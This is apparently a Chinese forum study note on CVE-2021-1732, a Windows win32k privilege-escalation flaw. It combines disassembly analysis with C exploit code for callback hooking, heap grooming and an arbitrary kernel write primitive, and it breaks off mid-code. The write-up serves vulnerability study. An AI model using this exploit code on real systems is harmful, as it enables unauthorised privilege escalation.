首页
社区
课程
招聘
[原创]CVE-2021-1732提权漏洞学习笔记
2022-8-13 10:22 18119

[原创]CVE-2021-1732提权漏洞学习笔记

2022-8-13 10:22
18119

一.前言

1.漏洞描述

win32kfull!xxxCreateWindowEx函数创建窗口的过程中,当创建的窗口对象存在扩展内存的时候,会通过函数KeUserModeCallback返回用户层,申请需要的内存。返回到内核继续执行的时候,会将用户层函数中指定的地址保存到窗口对象偏移0x128的pExtraBytes成员中。当用户层对窗口调用SetWindowLongPtr函数的时候,函数会将pExtraBytes用于指定要写入的目标地址。通过劫持用户层函数的执行,可以让SetWindowLongPtr函数对不合法地址进行写入会产生BSOD,也可以通过计算来扩大其他窗口的cbwndExtra,从而实现任意地址读写,最终实现提权。

2.实验环境

  • 操作系统:Win10 x64 1909 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

二.漏洞分析

1.关键结构体成员

新的Win10版本修改了比较多的win32k*中的结构体,并且没有导出。所以以下部分成员只能是通过推测得出,首先是保存线程信息的tagTHREADINFO结构体,其偏移0x1C0保存的是tagDESKTOP结构体:

1: kd> dt tagTHREADINFO
   +0x1C0 rpdesk           : Ptr64 tagDESKTOP

tagDESKTOP偏移0x80处保存的是pheapDesktop,该成员保存的是桌面堆的基址:

0: kd> dt tagDESKTOP
   +0x080 pheapDesktop     : Ptr64 tagWIN32HEAP

tagWND有了比较大的变化,窗口的扩展内存不在直接跟在tagWND之后,当偏移0xE8的Flags不包含0x800标记的时候,扩展内存的地址直接保存在0x128的pExtraBytes中,当Flags包含0x800标记的时候,扩展内存存在于桌面堆中,与桌面堆基址的偏移保存在了0x128的pExtraBytes中。偏移0x28指向了tagWDNK结构体,偏移0x8和0x30处保存了0x28所指向的地址于桌面堆地址的偏移:

2: kd> dt tagWND
   +0x000 h               : Ptr64 Void
   +0x008 DesktopOffset   : Uint8B
   +0x010 pti             : Ptr64 tagTHREADINFO
   +0x018 rpdesk          : Ptr64 tagDESKTOP
   +0x020 pSelf           : Ptr64 tagWND
   +0x028 ptagWNDK        : Ptr64 tagWNDK
   +0x030 DesktopOffset   : Uint8B
   +0x058 Left            : Uint4B
   +0x05C Right           : Uint4B       
   +0x098 spMenu          : Ptr64 tagMENU
   +0x0C8 cbwndExtra      : UInt4B
   +0x0E8 Flags	          : UInt4B
   +0x128 pExtraBytes     : Uint8B

偏移0xA8指向的tagMENU,这里只需要知道tagMENU结构体偏移0x98的pSelf指向的是tagMENU本身,而0x28的tagWDNK结构体如下:

struct tagWNDK
{
    ULONG64 hWnd;               //+0x00
    ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
    ULONG64 state;              //+0x10
    DWORD dwExStyle;            //+0x18
    DWORD dwStyle;              //+0x1C
    BYTE gap[0x38];
    DWORD rectBar_Left;         //0x58
    DWORD rectBar_Top;          //0x5C
    BYTE gap1[0x68];
    ULONG64 cbWndExtra;         //+0xC8 窗口扩展内存的大小
    BYTE gap2[0x18];
    DWORD dwExtraFlag;          //+0xE8  决定SetWindowLong寻址模式
    BYTE gap3[0x10];            //+0xEC
    DWORD cbWndServerExtra;     //+0xFC
    BYTE gap5[0x28];
    ULONG64 pExtraBytes;    //+0x128 模式1:内核偏移量 模式2:用户态指针
};

2.HMAllocObject函数分析

该函数定义如下,当第三个参数bType指定为TYPE_WINDOW(0x1)的时候,就会用于创建窗口对象:

PVOID HMAllocObject(PTHREADINFO ptiOwner,
                    PDESKTOP pdeskSrc,
                    BYTE bType,
                    DWORD size);

函数的主要代码如下,

unsigned __int64 __fastcall HMAllocObject(__int64 ptiOwner, __int64 pdeskSrc, unsigned __int8 bType, unsigned int size)
{
  v9 = *((_WORD *)&gahti + 0xC * Type + 6);

  if ( (v9 & 0x10) != 0 && pdeskSrc )
  {
    if ( (int)IsDesktopAllocSupported() < 0 )
      goto LABEL_67;
    tagWnd = (unsigned __int64)HMAllocateUserOrIsolatedType(v5, v9, Type);	// 创建tagWND对象
    if ( !tagWnd )
      goto LABEL_67;
    ptagWNDk = DesktopAlloc(pdeskSrc,
                            *(unsigned int *)((char *)&gahti + v38 + 0x10),
                            ((unsigned __int8)Type << 16) | 5u);                // 创建tagWNDK对象
    *(_QWORD *)(tagWnd + 0x28) = ptagWNDk;					// tagWND->ptagWNDK赋值为创建的tagWNDK对象
    if ( !ptagWNDk )
    {
      HMFreeUserOrIsolatedType(v9, Type, (void *)tagWnd);
      goto LABEL_67;
    }
    LockObjectAssignment((void **)(tagWnd + 0x18), (void *)pdeskSrc);
    ptagWNDk = *(_QWORD *)(tagWnd + 0x28);
    *(_QWORD *)(tagWnd + 0x20) = tagWnd;					// 为tagWND->pSelf赋值
    *(_QWORD *)(tagWnd + 0x30) = ptagWNDk - *(_QWORD *)(pdeskSrc + 0x80);       // 将ptagWNDK与pheapDesktop的偏移赋值给tagWND偏移0x30处
  }
   
  hwnd = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0215758
                                                           + v15 * (unsigned int)dword_1C0215760
                                                           + 0x1A) << 16);	// 获取窗口句柄
  *(_QWORD *)tagWnd = hwnd;							// 为tagWND->hWnd赋值
  if ( *(_DWORD *)((char *)&gahti + v38 + 0x10) )
  {
    ptagWNDk = *(_QWORD *)(tagWnd + 0x28);
    *(_QWORD *)ptagWNDk = hwnd;				       // 为ptagWNDK->hWnd赋值
    *(_QWORD *)(ptagWNDk + 8) = *(_QWORD *)(tagWnd + 0x30);    // 将ptagWNDK与pheapDesktop的偏移赋值给ptagWNDK偏移0x8处
  }
  
  return tagWND;
}

3.xxxCreateWindowEx函数分析

从gptiCurrent中获取rpdesk成员,之后调用HMAllocateObject函数来申请tagWND对象:

.text:00000001C003BCCB                 mov     rax, cs:__imp_gptiCurrent
.text:00000001C003BCD2                 mov     r14, [rax]
.text:00000001C003BCD5                 mov     [rsp+4E8h+var_488], r14
.text:00000001C003BCDA                 mov     [rsp+4E8h+var_370], r14
.text:00000001C003C1E2                 mov     r15, [rsp+4E8h+var_370]
.text:00000001C003BDDC                 mov     rax, [r14+1C0h]                  ; rax = tagTHREADINFO->rpdesk
.text:00000001C003BDE3                 mov     [rsp+4E8h+rpdesk], rax
		// 省略部分代码
.text:00000001C003C198                 xor     ebx, ebx
.text:00000001C003C1AC                 lea     esi, [rbx+1]	
.text:00000001C003C347                 mov     r9d, 150h     		; r9d = 0x150
.text:00000001C003C34D                 mov     r8b, sil      		; r8d = 1	
.text:00000001C003C350                 mov     rdx, [rsp+4E8h+pdesk]    ; rdx = rpdesk
.text:00000001C003C358                 mov     rcx, r15        		; rcx = ptiCurrent
.text:00000001C003C35B                 call    cs:__imp_HMAllocObject
.text:00000001C003C362                 nop     dword ptr [rax+rax+00h]
.text:00000001C003C367                 mov     r15, rax                 ; 将tagWND赋给r15
.text:00000001C003C36A                 mov     [rsp+4E8h+var_tagWND], rax
.text:00000001C003C372                 test    rax, rax
.text:00000001C003C375                 jnz     short loc_1C003C3BF

调用tagWND::RedirectedFieldcbwndExtra<int>::operator!=判断cbWndExtra来判断是否存在扩展内存,存在的话就会调用xxxClientAlloWindowClassExtraBytes来创建扩展内存:

.text:00000001C003CDDB                 mov     dword ptr [rsp+4E8h+var_3F8], edi ; edi=0
.text:00000001C003CDE2                 lea     rcx, [r15+0B1h]
.text:00000001C003CDE9                 lea     rdx, [rsp+4E8h+var_3F8]
.text:00000001C003CDF1                 call    ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
.text:00000001C003CDF6                 test    al, al
.text:00000001C003CDF8                 jz      short loc_1C003CE44
.text:00000001C003CDFA                 mov     rax, [r15+28h]  ; rax = tagWND->ptagWNDK
.text:00000001C003CDFE                 mov     ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra
.text:00000001C003CE04                 call    xxxClientAllocWindowClassExtraBytes
.text:00000001C003CE09                 mov     rcx, rax        ; 申请内存地址赋给ecx
.text:00000001C003CE0C                 mov     rax, [r15+28h]  ; rax = tagWND->ptagWNDK
.text:00000001C003CE10                 mov     [rax+128h], rcx ; 申请内存地址赋给tagWNDK->pExtraBytes

4.xxxClientAllocWindowClassExtraBytes函数分析

xxxClientAllocWindowClassExtraBytes函数的主要代码如下,函数会调用KeUserModeCallback来发起用户层的回调来申请内存。从用户层返回之后,函数会对输出长度及输出地址进行判断,通过判断后,就会将申请的内存地址返回:

const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
  LODWORD(pInputBuffer) = Length;
  ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);
  if ( ret < 0 || (_DWORD)nOutLen != 0x18 )     // 输出长度等于0x18
    return 0i64;
  v3 = pOutputBuffer;
  if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )
    v3 = *(__int64 **)MmUserProbeAddress;
  pAllocBuffer = (const void *)*v3;
  ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);
  return pAllocBuffer;
}

用户层函数的实现则下所示,函数通过RtlAllocateHeap来申请需要大小的内存,之后将其放入Result[0]中,之后会通过NtCallbackReturn函数将申请的内存通过Result数组来申请的内存返回到内核层,第二个参数用来指定返回的数据的长度:

5.xxxSetWindowLongPtr函数分析

xxxSetWindowLongPtr函数用来对窗口的扩展区域进行写入,当nIndex小于0的时候,函数会调用xxxSetWindowData来写入值:

.text:00000001C008D383                 test    edi, edi        ; nIndex >= 0则跳转
.text:00000001C008D385                 jns     loc_1C008D487
.text:00000001C008D38B                 mov     r9d, r12d
.text:00000001C008D38E                 mov     r8, r15
.text:00000001C008D391                 mov     edx, edi
.text:00000001C008D393                 mov     rcx, rsi        ; struct tagWND *
.text:00000001C008D396                 call    xxxSetWindowData
.text:00000001C008D39B                 mov     rdi, rax

如果nIndex大于等于0,函数就会判断nIndex + 8是否大于cbwndExtra,如果大于则会设置错误,之后退出函数:

.text:00000001C008D487 loc_1C008D487:                         
.text:00000001C008D487                 mov     r8, [rsi+28h]   ; r8 = tagWND->ptagWNDK
.text:00000001C008D48B                 mov     ecx, [r8+0C8h]  ; ecx = ptagWNDK->cbwndExtra
.text:00000001C008D492                 mov     r9d, [r8+0FCh]  ; 该偏移的成员为知,但是值为0
.text:00000001C008D499                 add     ecx, r9d
.text:00000001C008D49C                 mov     eax, edi        ; eax = nIndex
.text:00000001C008D49E                 add     rax, 8
.text:00000001C008D4A2                 cmp     rax, rcx
.text:00000001C008D4A5                 ja      loc_1C008D696   ; 如果nIndex + 8 > cbwndExtra,则跳转
.text:00000001C008D696 loc_1C008D696:                     
.text:00000001C008D696                 mov     ecx, 585h
.text:00000001C008D69B                 call    UserSetLastError
.text:00000001C008D6A0                 test    bl, bl
.text:00000001C008D6A2                 jnz     loc_1C01855D0
.text:00000001C008D6A8                 xor     eax, eax
.text:00000001C008D6AA                 jmp     loc_1C008D3A9

如果nIndex + 8 <= cbwndExtra的时候,函数会判断窗口对象是否带有0x800标记,如果有0x800标记,则会将寄存器r8会赋值为nIndex + pExtraBytes:

.text:00000001C008D4E2                 test    dword ptr [r8+0E8h], 800h ; ptagWNDK->Flags是否包含0x800标记
.text:00000001C008D4ED                 jnz     loc_1C018566C
.text:00000001C008D4F3                 mov     rax, [r8+128h]  ; rax = ptagWNDK->pExtraBytes
.text:00000001C008D4FA                 movsxd  r8, edi         ; r8 = nIndex
.text:00000001C008D4FD                 add     r8, rax         ; r8 = nIndex + pExtraBytes

如果不带有0x800标记,就会将寄存器r8赋值为pheapDesktop + nIndex + pExtraBytes:

.text:00000001C018566C loc_1C018566C:      
.text:00000001C018566C                 mov     rdx, [r8+128h]  ; rdx = ptagWNDK->pExtraBytes
.text:00000001C0185673                 mov     rax, [rsi+18h]  ; rax = tagWND->rpdesk
.text:00000001C0185677                 movsxd  rcx, edi        ; rcx = nIndex
.text:00000001C018567A                 mov     r8, [rax+80h]   ; r8 = tagDESKTOP->pheapDesktop
.text:00000001C0185681                 add     r8, rcx         ; r8 = pheapDesktop + nIndex
.text:00000001C0185684                 add     r8, rdx         ; r8 = pheapDesktop + nIndex + pExtraBytes
.text:00000001C0185687                 jmp     loc_1C008D500

无论是否带有0x800标记,对r8赋值完之后,函数接下来就会将r8所指向地址中的内容保存到局部变量中,在将dwNewLong赋值到r8所指的地址:

.text:00000001C008D500 loc_1C008D500:                          
.text:00000001C008D500                 mov     rdi, [r8]
.text:00000001C008D503                 mov     [rsp+88h+var_oldNew], rdi
.text:00000001C008D508                 mov     [r8], r15       ; 将dwNewLong赋值到寄存器所指向的地址
.text:00000001C008D50B                 jmp     loc_1C008D39E

三.漏洞验证

1.修改pExtraBytes

由于xxxCreateWindowEx函数没有对用户层通过NtCallbackReturn函数指定的地址进行合法性验证,就将其赋值到窗口对象的pExtraBytes中。而对相应窗口调用SetWindowLongPtr的时候,会直接将pExtraBytes用于来指定读写地址。所以,通过对用户层的xxxClientAllocWindowClassExtraBytes进行劫持,可以将pExtraBytes指定为特定的值来触发BSOD。

为了可以在指定的窗口来修改函数,首先创建触发漏洞窗口的时候,扩展内存的大小,即cbwndExtra要指定为一个特定的值:

BOOL InitTriggerWnd()
{
	BOOL bRet = TRUE;

	HINSTANCE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	PCHAR pClassName = "Trigger";
	WNDCLASSEX wndClass = { 0 };

	wndClass.cbSize = sizeof(wndClass);
	wndClass.lpfnWndProc = DefWindowProc;
	wndClass.style = CS_VREDRAW | CS_HREDRAW;
	wndClass.cbWndExtra = g_dwWndExtra;			// 指定特定的大小
	wndClass.hInstance = handle;
	wndClass.lpszClassName = pClassName;

	if (!RegisterClassEx(&wndClass))
	{
		bRet = FALSE;
		ShowError("RegisterClassEx", GetLastError());
		goto exit;
	}

	g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
			               pClassName,
				       NULL,
				       WS_DISABLED,
				       0, 0, 0, 0,
				       NULL,
				       NULL,
				       handle,
				       NULL);

	if (!g_hTriggerWnd)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

exit:
	return bRet;
}

接下来可以在劫持的函数中,通过要申请内存的大小判断是否为目标窗口:

NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
	if (*(PDWORD)arg0 == g_dwWndExtra)
	{
		BYTE bRes[0x18] = { 0 };
		// 设置tagWND->pExtraBytes
		*(PULONG64)bRes = 0x100;
		return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
	}

	return g_orgClientAllocWindowExtraBytes(arg0);
}

此时可以在xxxSetWindowLongPtr中关键位置下断点,因为创建的窗口对象的Flags不会带有0x800标记,所以函数会直接取出pExtraBytes用于读写,此时的地址为指定的不合法的0x100。按道理,继续执行会出现BSOD,然而事实上继续运行,函数会直接退出(应该有什么处理机制)。

2.xxxConsoleControl函数分析

xxxSetWindowLongPtr会通过tagWND->Flags来选择不同方式来指定用于读写的地址,要在Flags中加入0x800标记,可以通过xxxConsoleControl函数来实现,该函数定义如下:

__int64 __fastcall xxxConsoleControl(int nIndex,
                                     struct _CONSOLE_PROCESS_INFO *pInfo,
                                     int nInLength);

要到达修改标记的代码,需要参数nIndex等于6,参数nInLength等于0x10。满足这两条之后,xxxConsoleControl函数会从参数pInfo中取出窗口的句柄,通过ValidateHwnd来获取相应的窗口对象:

.text:00000001C00E0571                 mov     edi, r8d        ; edi = nLength
.text:00000001C00E0580                 test    ecx, ecx
.text:00000001C00E0582                 jz      loc_1C01A3F71
.text:00000001C00E0588                 sub     ecx, 1
.text:00000001C00E058B                 jz      loc_1C00E0671
.text:00000001C00E0591                 sub     ecx, 1
.text:00000001C00E0594                 jz      loc_1C01A3F5B
.text:00000001C00E059A                 sub     ecx, 1
.text:00000001C00E059D                 jz      loc_1C00E0686
.text:00000001C00E05A3                 sub     ecx, 1
.text:00000001C00E05A6                 jz      loc_1C01A3F30
.text:00000001C00E05AC                 sub     ecx, 1          ; nIndex - 5 != 0
.text:00000001C00E05AF                 jnz     loc_1C00E06A3
		// 省略部分代码
.text:00000001C00E06A3 loc_1C00E06A3:                         
.text:00000001C00E06A3                 cmp     ecx, 1          ; nIndex = 6不跳转
.text:00000001C00E06A6                 jnz     loc_1C01A3F12
.text:00000001C00E06AC                 cmp     edi, 10h        ; nInLength == 0x10不跳转
.text:00000001C00E06AF                 jnz     loc_1C01A3F71
.text:00000001C00E06B5                 mov     rcx, [rdx]      ; rcx = [pInfo]
.text:00000001C00E06B8                 call    cs:__imp_ValidateHwnd
.text:00000001C00E06BF                 nop     dword ptr [rax+rax+00h]
.text:00000001C00E06C4                 mov     rdi, rax        ; rdi = tagWND

判断Flags是否带有0x800标记:

.text:00000001C00E0772                 test    dword ptr [rcx+0E8h], 800h ; tagWND->Flags是否包含0x800
.text:00000001C00E077C                 jz      short loc_1C00E07BE

因为创建的窗口不带有0x800标记,函数就会调用DesktopAlloc来申请一块新的内存:

.text:00000001C00E07BE loc_1C00E07BE:                         
.text:00000001C00E07BE                 mov     edx, [rcx+0C8h] ; edx = tagWND->cbwndExtra
.text:00000001C00E07C4                 xor     r8d, r8d
.text:00000001C00E07C7                 mov     rcx, [rdi+18h]  ; rcx = tagWND->rpdesk
.text:00000001C00E07CB                 call    DesktopAlloc
.text:00000001C00E07D0                 mov     r14, rax         ; r14 = 申请的内存地址
.text:00000001C00E07D3                 mov     [rsp+0B8h+var_heap], rax ; 保存到局部变量中
.text:00000001C00E07D8                 test    rax, rax
.text:00000001C00E07DB                 jz      loc_1C01A3F1C

接下来将新创建的内存地址减去pheapDesktop得到的偏移赋值到ptagWNDK->pExtraBytes中:

.text:00000001C00E0876 loc_1C00E0876:                         
.text:00000001C00E0876                 mov     rax, [rdi+18h]  ; rax = tagWND->rpdesk
.text:00000001C00E087A                 mov     rcx, r14        ; rcx等于刚申请的内存
.text:00000001C00E087D                 sub     rcx, [rax+80h]  ; rcx = 新申请的内存减去rpdesk->pheapDesktop
.text:00000001C00E0884                 mov     rax, [r15]      ; rax = tagWND->ptagWNDK
.text:00000001C00E0887                 mov     [rax+128h], rcx ; ptagWNDK->pExtraBytes = rcx
.text:00000001C00E088E                 jmp     loc_1C00E0790

之后就是在Flags中增加0x800标记:

.text:00000001C00E07A2 loc_1C00E07A2:                        
.text:00000001C00E07A2                 mov     rax, [r15]      ; rax = tagWND->ptagWNDK
.text:00000001C00E07A5                 bts     dword ptr [rax+0E8h], 0Bh ; 将ptagWNDK->Flags第0xB位设为1,即在Flags中增加0x800标记

3.漏洞触发

想要成功触发漏洞,需要通过xxxConsoleControl函数在Flags中增加0x800标记,但是调用xxxConsoleControl的时候,需要传入窗口的句柄,而在用户层的xxxClientAllocWindowClassExtraBytes执行过程中,用户层的CreateWindow函数还未返回,因为还未拿到窗口的句柄。但,在xxxCreateWindowEx函数在调用xxxClientAllocWindowClassExtraBytes之前,已经将窗口句柄赋值到窗口对象偏移0x0处。

因此,可以首先创建大量的窗口,然后释放掉其中的部分窗口,这样之后创建触发漏洞的窗口占用的内存就会占用到这些释放的窗口。

BOOL Init_CVE_2021_1732()
{
	BOOL bRet = TRUE;
	DWORD i = 0;

	lHMValidateHandle HMValidateHandle = NULL;

	HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
	if (!HMValidateHandle)
	{
		bRet = FALSE;
		goto exit;
	}

	HINSTANCE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	WNDCLASSEX wndClass = { 0 };
	PCHAR pClassName = "leak";

	wndClass.cbWndExtra = 0x20;
	wndClass.cbSize = sizeof(wndClass);
	wndClass.style = CS_VREDRAW | CS_HREDRAW;
	wndClass.hInstance = handle;
	wndClass.lpfnWndProc = DefWindowProc;
	wndClass.lpszClassName = pClassName;

	if (!RegisterClassEx(&wndClass))
	{
		bRet = FALSE;
		ShowError("RegisterClassEx", GetLastError());
		goto exit;
	}

	HWND hWnd = NULL;

	for (i = 0; i < g_dwWinNum; i++)
	{
		hWnd = CreateWindowEx(WS_EX_NOACTIVATE,
				      pClassName,
				      NULL,
			              WS_DISABLED,
				      0, 0, 0, 0,
				      NULL, 
				      NULL, 
				      handle,
			              NULL);
		if (!hWnd)	continue;

		g_hWnd[i] = hWnd;
		g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);
	}
	
	// 释放部分窗口,之后创建触发漏洞的窗口会占用释放的这些窗口中的其中一个
	for (i = 2; i < g_dwWinNum; i += 2)
	{
		if (g_hWnd[i])
		{
			DestroyWindow(g_hWnd[i]);
		}
	}

exit:
	return bRet;
}

此时,就可以从释放的窗口中搜索触发漏洞的窗口,之后就可以修改窗口标记,在返回指定的地址:

NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
	if (*(PDWORD)arg0 == g_dwWndExtra)
	{
		HWND hTriggerWnd = NULL;
		DWORD i = 0;

		for (i = 2; i < g_dwWinNum; i += 2)
		{
			if (g_hWnd[i])
			{
				DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);
				if (cbWndExtra == g_dwWndExtra)
				{
					hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];	
					break;
				}
			}
		}

		if (hTriggerWnd)
		{
			
			BYTE bInfo[0x10] = { 0 };

			// tagWND->Flag |= 0x800
			*(HWND *)bInfo = hTriggerWnd;
			fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
			
			BYTE bRes[0x18] = { 0 };

			// 设置tagWND->pExtraBytes
			*(PULONG64)bRes = 0xFFFFFF00;
			return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
		}
		else printf("do not find hTriggerWnd\n");
	}

	return g_orgClientAllocWindowExtraBytes(arg0);
}

再次在xxxSetWindowLongPtr处下断点,此时窗口的Flags带有0x800标记,所以会通过不同的方法来计算要读写的内存地址,该地址是无效的:

继续运行就会产生BSOD错误:

四.漏洞利用

1.任意地址写

根据上面的内容可以得出以下的内容:

  • tagWNDK + 8处保存的是ptagWNDK - pheapDesktop

  • 通过xxxConsoleControl增加0x800标记的时候,会将窗口的pExtraBytes修改为新申请的内存地址减去pheapDesktop的值

  • 当Flags包含0x800标记,SetWindowLongPtr要读写的地址是pheapDesktop + nIndex + pExtraBytes的值

  • 当Flags不包含0x800标记,SetWindowLongPtr要读写的地址是pExtraBytes + nIndex

pheapDesktop的值是相同的,且现在可以修改pExtraBytes以及为Flags可以增加0x800标记。此时,实现任意地址写的思路如下:

  1. 创建两个窗口,分别为tagWND0,tagWND1

  2. 在tagWND0中增加0x800标记,这样tagWND0->pExtraBytes中保存的就是与pheapDesktop的偏移

  3. 在用户层的xxxClientAllocWindowClassExtraBytes函数中,在调用NtCallbackReturn函数返回的时候,将地址修改为tagWND0 + 8处保存的偏移,这样对触发漏洞的窗口调用SetWindowLongPtr,就可以直接扩大tagWND0中的cbwndExtra

  4. 因为tagWND0的pExtraBytes指向的是pheapDesktop的偏移,而tagWNDK1也保存在相对于pheapDesktop的偏移,而该值可以通过tagWND1 + 8处来获取,这样可以计算出tagWND0->pExtraBytes与tagWND1 + 8的偏移。又因为tagWND0的cbwndExtra被扩大了,这样就可以通过tagWND0直接修改tagWND1的pExtraBytes

  5. 因为tagWND1没有具有0x800标记,所以直接对tagWND1调用SetWindowLongPtr会直接对pExtraBytes指向的地址进行写入,由此就实现任意地址写

在之前释放窗口的时候,是从下标2开始释放窗口,就是因为要将创建的第一个和第二个窗口作为tagWND0和tagWND1用于之后利用。此时,在循环创建窗口的时候,需要对创建的第0个窗口加入0x800标记,且记录需要用到的偏移:

               if (i == 0)
		{
			g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
			BYTE bInfo[0x10] = { 0 };
			*(HWND *)bInfo = g_hWnd[0];
			fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));

			g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
		}

释放窗口以后,就可以计算第4步需要的偏移:

	g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);

	if (g_qwWndOffset > g_qwKernelHeapOffset1)
	{
		bRet = FALSE;
		printf("g_pWnd[0] offset is invalid!\n");
		goto exit;
	}

	g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;

此时对于触发漏洞的窗口,需要将返回值修改为tagWDN0 + 8的保存的值:

                if (hTriggerWnd)
		{	
			BYTE bInfo[0x10] = { 0 };

			// tagWND->Flag |= 0x800
			*(HWND *)bInfo = hTriggerWnd;
			fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
			
			BYTE bRes[0x18] = { 0 };

			// 设置tagWND->pExtraBytes
			*(PULONG64)bRes = g_qwKernelHeapOffset0;
			return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
		}

当创建完用于触发漏洞的窗口之后,可以通过函数扩大tagWND0的cbwndExtra:

	// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFF
	if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

现在就可以通过tagWND0修改tagWND1的pExtraBytes来实现任意地址写入:

BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue)
{
	BOOL bRet = TRUE;

	if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

exit:
	return bRet;
}

2.任意地址读

任意地址的读通过GetMenuBarInfo函数来实现,该函数定义如下,其中第三个参数的pmbi->rcBar用来记录读取到的值:

BOOL
WINAPI
GetMenuBarInfo(
    _In_ HWND hwnd,
    _In_ LONG idObject,
    _In_ LONG idItem,
    _Inout_ PMENUBARINFO pmbi);

typedef struct tagMENUBARINFO {
  DWORD cbSize;
  RECT  rcBar;
  HMENU hMenu;
  HWND  hwndMenu;
  BOOL  fBarFocused:1;
  BOOL  fFocused:1;
} MENUBARINFO, *PMENUBARINFO;

typedef struct _RECT { 
  LONG left; 
  LONG top; 
  LONG right; 
  LONG bottom; 
} RECT, *PRECT;

GetMenuBarInfo对应的内核函数是xxxGetMenuBarInfo函数,该函数的主要代码如下,先有三处验证,验证通过之后,会将*(spMenu + 0x58)中保存的地址用于读取相应值,在保存于pmbi的rcBar中:

__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi)
{
  switch ( idObject )
  {
    case -3:								// idObject == -3,第一处验证
      if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )
        goto LABEL_9;
      spMenu = *(_QWORD *)(pwnd + 0xA8);				// tagWND->spMenu不存在则返回,第二处验证			
      if ( !spMenu )
        goto LABEL_9;
      SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu);	// kspMenu = spMenu->spSelf

      if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,第三处验证
      {
        if ( (_DWORD)IdItem )                   // idItem == 1
        {
          ptagWNDk = *(_QWORD *)(pwnd + 0x28);
          num_0x60 = 0x60 * IdItem;
          rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);
          tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)
          if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 )
          {
            v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);
            *(_DWORD *)(pmbi + 0xC) = v49;
            *(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
          }
          else                                  // 这里会走else分支
          {
            value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left
            *(_DWORD *)(pmbi + 4) = value;      // 为pmbi->rcBar->left赋值
            *(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
          }
          Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right
          *(_DWORD *)(pmbi + 8) = Value;        // 为pmbi->rcBar->top赋值
          v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);
        }
      }
  }
}

第一处验证,只需调用参数时指定参数idObject为-3就行。第二处验证,在创建窗口的时候,对于用于利用的窗口需要设置spMenu:

		if (i == 1)
		{
			// 从第1个tagWND开始将带有tagMENU对象
			hMenu = CreateMenu();
			hHelpMenu = CreateMenu();
			if (!hMenu || !hHelpMenu)
			{
				bRet = FALSE;
				ShowError("CreateMenu", GetLastError());
				goto exit;
			}
